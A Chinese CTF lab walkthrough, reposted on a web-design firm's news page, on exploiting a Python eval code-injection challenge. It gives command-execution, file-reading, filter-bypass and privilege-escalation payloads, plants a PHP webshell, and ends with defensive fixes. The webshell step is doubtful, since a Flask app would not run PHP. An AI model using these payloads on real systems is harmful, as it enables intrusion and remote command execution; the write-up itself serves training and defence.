ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

Python沙箱逃逸与Vulhub Djinn靶场实战

Python沙箱逃逸与Vulhub Djinn靶场实战 1. 靶场环境概述Djinn是Vulhub漏洞靶场系列中一个基于Python Flask框架设计的CTF题目环境模拟了真实Web应用中常见的代码注入漏洞场景。这个靶场特别适合用来练习Python沙箱逃逸和模板注入技术也是近年来CTF比赛中频繁出现的考点类型。作为安全研究人员我强烈建议在Kali Linux系统上搭建Vulhub环境进行实验。Kali原生集成了渗透测试所需的各类工具链与Vulhub的Docker容器能完美配合。以下是推荐的基础环境配置操作系统Kali Linux 2023.x内核版本≥5.10Docker版本20.10.17Docker Compose版本1.29.2系统资源至少2核CPU/4GB内存/20GB磁盘空间注意实际操作前请确保关闭宿主机的SELinux和防火墙避免容器网络通信被阻断。我在多次搭建过程中发现这是导致服务无法启动的最常见原因。2. Vulhub环境快速部署2.1 基础依赖安装首先更新系统并安装必要的依赖包sudo apt update sudo apt upgrade -y sudo apt install -y docker.io docker-compose git curl验证Docker服务状态sudo systemctl enable --now docker docker --version # 应显示Docker版本≥20.10.172.2 获取Vulhub源码建议使用国内镜像源加速下载git clone https://gitee.com/mirrors/vulhub.git cd vulhub/djinn/12.3 容器启动与管理启动靶场环境sudo docker-compose up -d验证服务状态sudo docker ps # 应看到djinn容器运行在8000端口访问靶场http://your-ip:80003. Djinn靶场漏洞分析3.1 前端功能审计该靶场模拟了一个简易的Python代码执行器主要功能点包括代码输入框接受用户输入的Python代码执行按钮触发后端代码执行结果显示区输出代码执行结果通过查看页面源码可以发现关键线索form action/execute methodPOST textarea namecode/textarea input typesubmit valueExecute /form3.2 后端漏洞定位使用Burp Suite拦截请求可见请求体为codeprint(hello)修改请求尝试执行系统命令code__import__(os).system(id)返回结果包含当前用户权限信息证实存在命令注入漏洞。4. 漏洞利用实战4.1 初始信息收集首先确认当前执行环境codeimport platform;print(platform.uname())典型返回结果Linux djinn 5.10.0-kali9-amd64 #1 SMP Debian 5.10.46-4kali1 (2021-08-09) x86_644.2 文件系统探查列出当前目录codeimport os;print(os.listdir(.))发现关键文件[app.py, static, templates, flag.txt]4.3 获取flag内容直接读取flag文件codeprint(open(flag.txt).read())重要技巧如果遇到权限问题可尝试使用绝对路径/proc/self/cwd/flag.txt这是我在多次CTF比赛中总结的容器环境文件访问技巧。5. 防御方案与修复建议5.1 漏洞根源分析查看靶场源码app.py可见危险代码app.route(/execute, methods[POST]) def execute(): code request.form.get(code, ) return str(eval(code)) # 直接eval用户输入5.2 安全加固方案方案一输入过滤blacklist [__import__, os, system, eval, exec] if any(word in code for word in blacklist): return Dangerous operation detected!方案二沙箱隔离from RestrictedPython import compile_restricted try: byte_code compile_restricted(code, string, eval) result eval(byte_code, {__builtins__: None}, {}) except: return Invalid operation方案三容器隔离FROM python:3.9-slim RUN useradd -m ctfuser chmod 755 /home/ctfuser USER ctfuser6. 靶场进阶玩法6.1 绕过过滤技巧当遇到基础过滤时可以尝试字符串拼接__import__(os)属性访问getattr(__builtins__, __import__)(os)编码混淆eval(\x5f\x5fimport\x5f\x5f\x28\x27os\x27\x29)6.2 权限提升方法如果当前用户权限受限可尝试codeimport os;os.setuid(0);os.system(whoami)实测经验在Docker默认配置下容器内root实际是受限的namespace用户真正的提权需要突破容器隔离。6.3 持久化后门部署在获得写入权限后可植入Webshellcodeopen(static/shell.php,w).write(?php system($_GET[cmd]);?)访问路径http://your-ip:8000/static/shell.php?cmdid7. 学习资源推荐7.1 相关CTF题目Hack The Box: Python JailCTFlearn: Python EvaluationPicoCTF: Python Wrangling7.2 技术文档OWASP Code InjectionPython官方文档Restricted ExecutionDocker安全白皮书7.3 工具链PwntoolsPython漏洞利用框架ROPgadget二进制漏洞利用工具GTFOBinsLinux提权技巧集合我在实际渗透测试中发现这类Python沙箱逃逸漏洞在CMS插件、云函数等场景中仍然广泛存在。掌握这些技术不仅能用于CTF比赛更能帮助发现真实业务系统中的安全隐患。建议读者在本地搭建环境后尝试修改靶场源码实现不同的防御方案通过攻防对抗深化理解。
返回列表